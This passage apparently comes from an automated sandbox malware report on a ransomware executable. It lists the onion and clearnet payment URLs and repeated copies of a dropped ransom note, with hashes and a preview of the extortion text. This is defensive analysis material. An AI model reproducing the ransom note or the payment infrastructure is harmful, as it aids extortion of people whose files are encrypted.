          http://decoder.re/D1138D947D02C3CE0%Avira URL Cloudsafe
          http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe
          http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe
          http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe
          http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe
          http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D1138D947D02C3CE0%Avira URL Cloudsafe
          http://decoder.re/3%VirustotalBrowse
          http://decoder.re/0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          No contacted domains info

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://decoder.re/D1138D947D02C3CEgtV10WjhFA.exe, 00000001.00000003.360021925.0000000002AC4000.00000004.00000040.sdmp, i01pya-readme.txt50.1.drfalse
          • Avira URL Cloud: safe
          unknown
          http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/gtV10WjhFA.exe, 00000001.00000003.199052488.0000000002ABC000.00000004.00000040.sdmptrue
          • URL Reputation: safe
          • URL Reputation: safe
          • URL Reputation: safe
          • URL Reputation: safe
          unknown
          http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D1138D947D02C3CEgtV10WjhFA.exe, 00000001.00000003.360021925.0000000002AC4000.00000004.00000040.sdmp, i01pya-readme.txt50.1.drtrue
          • Avira URL Cloud: safe
          unknown
          http://decoder.re/gtV10WjhFA.exe, 00000001.00000003.199052488.0000000002ABC000.00000004.00000040.sdmpfalse
          • 3%, Virustotal, Browse
          • Avira URL Cloud: safe
          unknown
          https://torproject.org/gtV10WjhFA.exe, 00000001.00000003.199052488.0000000002ABC000.00000004.00000040.sdmp, i01pya-readme.txt50.1.drfalse
            high

            Contacted IPs

            No contacted IP infos

            General Information

            Joe Sandbox Version:32.0.0 Black Diamond
            Analysis ID:443860
            Start date:03.07.2021
            Start time:19:12:23
            Joe Sandbox Product:CloudBasic
            Overall analysis duration:0h 5m 43s
            Hypervisor based Inspection enabled:false
            Report type:full
            Sample file name:gtV10WjhFA (renamed file extension from none to exe)
            Cookbook file name:default.jbs
            Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
            Number of analysed new started processes analysed:31
            Number of new started drivers analysed:0
            Number of existing processes analysed:0
            Number of existing drivers analysed:0
            Number of injected processes analysed:0
            Technologies:
            • HCA enabled
            • EGA enabled
            • HDC enabled
            • AMSI enabled
            Analysis Mode:default
            Analysis stop reason:Timeout
            Detection:MAL
            Classification:mal100.rans.evad.winEXE@5/132@0/0
            EGA Information:
            • Successful, ratio: 100%
            HDC Information:
            • Successful, ratio: 87.5% (good quality ratio 83.3%)
            • Quality average: 85.6%
            • Quality standard deviation: 26.6%
            HCA Information:Failed
            Cookbook Comments:
            • Adjust boot time
            • Enable AMSI
            Warnings:
            Show All
            • Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, SearchUI.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, VSSVC.exe, svchost.exe
            • Not all processes where analyzed, report is missing behavior information
            • Report size getting too big, too many NtOpenKeyEx calls found.
            • Report size getting too big, too many NtQueryValueKey calls found.

            Simulations

            Behavior and APIs

            No simulations

            Joe Sandbox View / Context

            IPs

            No context

            Domains

            No context

            ASN

            No context

            JA3 Fingerprints

            No context

            Dropped Files

            No context

            Created / dropped Files

            C:\Program Files (x86)\Microsoft SQL Server\110\Shared\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Program Files (x86)\Microsoft SQL Server\110\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Program Files (x86)\Microsoft SQL Server\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Program Files (x86)\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Program Files\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Recovery\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Default\Desktop\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Default\Documents\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Default\Downloads\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Default\Favorites\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Reputation:low
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. 